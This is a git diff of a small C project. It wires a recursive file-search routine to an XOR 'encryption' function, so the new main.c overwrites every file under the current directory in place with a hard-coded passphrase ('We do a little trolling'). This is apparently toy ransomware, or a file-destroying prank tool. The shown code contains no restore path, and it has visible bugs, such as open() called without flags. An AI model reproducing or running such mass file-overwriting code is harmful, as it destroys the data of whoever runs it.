diff options
Diffstat (limited to 'src')
| -rw-r--r-- | src/Makefile | 9 | ||||
| -rw-r--r-- | src/encryption.c | 4 | ||||
| -rw-r--r-- | src/encryption.h | 3 | ||||
| -rw-r--r-- | src/main.c | 16 | ||||
| -rw-r--r-- | src/main.h | 6 | ||||
| -rw-r--r-- | src/search.c | 64 | ||||
| -rw-r--r-- | src/search.h | 6 |
7 files changed, 82 insertions, 26 deletions
diff --git a/src/Makefile b/src/Makefile index f869a31..c140071 100644 --- a/src/Makefile +++ b/src/Makefile | |||
| @@ -1,7 +1,7 @@ | |||
| 1 | CC = gcc | 1 | CC = gcc |
| 2 | CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb | 2 | CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb |
| 3 | 3 | ||
| 4 | BINARY_FILES := encrypt search ll.o | 4 | BINARY_FILES := main encryption.o search.o ll.o |
| 5 | 5 | ||
| 6 | .PHONY: all clean | 6 | .PHONY: all clean |
| 7 | 7 | ||
| @@ -10,10 +10,9 @@ all: $(BINARY_FILES) | |||
| 10 | clean: | 10 | clean: |
| 11 | rm -rvf $(BINARY_FILES) | 11 | rm -rvf $(BINARY_FILES) |
| 12 | 12 | ||
| 13 | encrypt: encryption.c encryption.h | ||
| 14 | $(CC) $(CFLAGS) encryption.c -o encrypt | ||
| 15 | 13 | ||
| 16 | search: search.c search.h ll.o | 14 | main: main.c main.h search.o encryption.o ll.o |
| 17 | $(CC) $(CFLAGS) search.c ll.o -o search | ||
| 18 | 15 | ||
| 16 | encryption.o: encryption.c encryption.h | ||
| 17 | search.o: search.c search.h | ||
| 19 | ll.o: ll.c ll.h \ No newline at end of file | 18 | ll.o: ll.c ll.h \ No newline at end of file |
diff --git a/src/encryption.c b/src/encryption.c index 6539b1a..268b802 100644 --- a/src/encryption.c +++ b/src/encryption.c | |||
| @@ -174,9 +174,11 @@ size_t passencblock(int fd, const char *passphrase) { | |||
| 174 | return totalwritten; | 174 | return totalwritten; |
| 175 | } | 175 | } |
| 176 | 176 | ||
| 177 | /* | ||
| 177 | int main() { | 178 | int main() { |
| 178 | int fd = open("test.txt", O_RDWR); | 179 | int fd = open("test.txt", O_RDWR); |
| 179 | passencblock(fd, "we do a little trolling"); | 180 | passencblock(fd, "we do a little trolling"); |
| 180 | 181 | ||
| 181 | return 0; | 182 | return 0; |
| 182 | } \ No newline at end of file | 183 | } |
| 184 | */ \ No newline at end of file | ||
diff --git a/src/encryption.h b/src/encryption.h index eccb6b9..aa88048 100644 --- a/src/encryption.h +++ b/src/encryption.h | |||
| @@ -6,4 +6,7 @@ | |||
| 6 | /* Overwrite an open file with "encrypted" data by XOR'ing each byte with a character from PASSPHRASE. Returns number of bytes overwritten, and -1 on error */ | 6 | /* Overwrite an open file with "encrypted" data by XOR'ing each byte with a character from PASSPHRASE. Returns number of bytes overwritten, and -1 on error */ |
| 7 | size_t passenc(int fd, const char *passphrase); | 7 | size_t passenc(int fd, const char *passphrase); |
| 8 | 8 | ||
| 9 | /* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */ | ||
| 10 | size_t passencblock(int fd, const char *passphrase); | ||
| 11 | |||
| 9 | #endif \ No newline at end of file | 12 | #endif \ No newline at end of file |
| @@ -8,8 +8,24 @@ | |||
| 8 | * | 8 | * |
| 9 | */ | 9 | */ |
| 10 | 10 | ||
| 11 | #define _GNU_SOURCE | ||
| 12 | |||
| 13 | #include "main.h" | ||
| 14 | #include "encryption.h" | ||
| 15 | #include "search.h" | ||
| 16 | #include "ll.h" | ||
| 17 | |||
| 11 | int main() { | 18 | int main() { |
| 19 | // Get folders | ||
| 20 | struct nodelist *files = scanfiles("./", alphasort); | ||
| 21 | |||
| 22 | // Encrypt those files | ||
| 23 | for(struct nodelist *p = files; p != NULL; p = p->next) { | ||
| 24 | int fd = open(p->fullpath); | ||
| 25 | passencblock(fd, "We do a little trolling"); | ||
| 26 | } | ||
| 12 | 27 | ||
| 28 | nodelist_delete(files); | ||
| 13 | 29 | ||
| 14 | return 0; | 30 | return 0; |
| 15 | } \ No newline at end of file | 31 | } \ No newline at end of file |
diff --git a/src/main.h b/src/main.h new file mode 100644 index 0000000..fa9e338 --- /dev/null +++ b/src/main.h | |||
| @@ -0,0 +1,6 @@ | |||
| 1 | #ifndef __SLOTS__MAIN_H__2980986086219 | ||
| 2 | #define __SLOTS__MAIN_H__2980986086219 | ||
| 3 | |||
| 4 | |||
| 5 | |||
| 6 | #endif \ No newline at end of file | ||
diff --git a/src/search.c b/src/search.c index 3488136..00ad141 100644 --- a/src/search.c +++ b/src/search.c | |||
| @@ -99,37 +99,61 @@ struct nodelist* scanfolders(const char *STARTPATH, int (*cmp)(const struct dire | |||
| 99 | return start; | 99 | return start; |
| 100 | } | 100 | } |
| 101 | 101 | ||
| 102 | int main(void) { | 102 | struct nodelist* scanfiles(const char *STARTPATH, int (*cmp)(const struct dirent **, const struct dirent **)) { |
| 103 | struct nodelist *folders = NULL; | 103 | struct nodelist *folders = NULL, *files = NULL, *start = files; |
| 104 | folders = scanfolders("./", alphasort); | 104 | folders = scanfolders(STARTPATH, cmp); |
| 105 | 105 | ||
| 106 | struct dirent **nodes; | 106 | struct dirent **nodes; |
| 107 | int n; | 107 | int n = 0; |
| 108 | 108 | ||
| 109 | char *restoredir = NULL; | 109 | char *restoredir = NULL; |
| 110 | restoredir = get_current_dir_name(); | 110 | restoredir = get_current_dir_name(); |
| 111 | 111 | if(restoredir == NULL) { | |
| 112 | char *actualpath = NULL; | 112 | error(0, errno, "Could not get path to current working dir"); |
| 113 | nodelist_delete(folders); | ||
| 114 | return NULL; | ||
| 115 | } | ||
| 113 | 116 | ||
| 114 | for(struct nodelist *p = folders; p != NULL; p = p->next) { | 117 | for(struct nodelist *p = folders; p != NULL; p = p->next) { |
| 115 | chdir(p->fullpath); | 118 | if(chdir(p->fullpath) < 0) { |
| 116 | n = scandir(p->fullpath, &nodes, filesort, alphasort); | 119 | error(0, errno, "Couldn't enter dir \"%s\", skipping...", p->fullpath); |
| 120 | continue; | ||
| 121 | } | ||
| 122 | |||
| 123 | n = scandir(p->fullpath, &nodes, filesort, cmp); | ||
| 117 | if(n >= 0) { | 124 | if(n >= 0) { |
| 118 | int cnt; | 125 | for(int i = 0; i < n; i++) { |
| 119 | for(cnt = 0; cnt < n; ++cnt) { | 126 | if(files == NULL) { |
| 120 | actualpath = realpath(nodes[cnt]->d_name, NULL); | 127 | files = nodelist_init(NULL); |
| 121 | puts(actualpath); | 128 | start = files; |
| 122 | free(actualpath); | 129 | } |
| 123 | } | ||
| 124 | 130 | ||
| 125 | } else | 131 | files->fullpath = realpath(nodes[i]->d_name, NULL); |
| 126 | perror("Couldn't open the directory"); | 132 | |
| 133 | printf("%s\n", files->fullpath); | ||
| 134 | |||
| 135 | files->next = nodelist_init(NULL); | ||
| 136 | files = files->next; | ||
| 137 | } | ||
| 138 | } else { | ||
| 139 | error(0, errno, "Could not scan dir \"%s\", skipping...", p->fullpath); | ||
| 140 | continue; | ||
| 141 | } | ||
| 127 | } | 142 | } |
| 128 | //*/ | ||
| 129 | 143 | ||
| 130 | nodelist_delete(folders); | 144 | return start; |
| 145 | } | ||
| 131 | 146 | ||
| 132 | chdir(restoredir); | 147 | /* |
| 148 | int main(void) { | ||
| 149 | struct nodelist *files = scanfiles("./", alphasort); | ||
| 150 | |||
| 151 | printf("\nafter scan\n"); | ||
| 152 | for(struct nodelist *p = files; p != NULL; p = p->next) { | ||
| 153 | if(p->fullpath != NULL) // Annoying extra "null" entry at the end of the list | ||
| 154 | printf("%s\n", p->fullpath); | ||
| 155 | } | ||
| 133 | 156 | ||
| 134 | return 0; | 157 | return 0; |
| 135 | } | 158 | } |
| 159 | */ \ No newline at end of file | ||
diff --git a/src/search.h b/src/search.h index 8b5f502..f0e9144 100644 --- a/src/search.h +++ b/src/search.h | |||
| @@ -16,4 +16,10 @@ int foldersort(const struct dirent *node); // Only | |||
| 16 | int filesort(const struct dirent *node); // Only display files when using scandir | 16 | int filesort(const struct dirent *node); // Only display files when using scandir |
| 17 | 17 | ||
| 18 | 18 | ||
| 19 | // Create a linked list of full paths to folders, using CMP to order them. Returns NULL on error | ||
| 20 | struct nodelist* scanfolders(const char *STARTPATH, int (*cmp)(const struct dirent **, const struct dirent **)); | ||
| 21 | |||
| 22 | // Create a linked list of full paths to files, using CMP to order them. Returns NULL on error | ||
| 23 | struct nodelist* scanfiles(const char *STARTPATH, int (*cmp)(const struct dirent **, const struct dirent **)); | ||
| 24 | |||
| 19 | #endif \ No newline at end of file | 25 | #endif \ No newline at end of file |
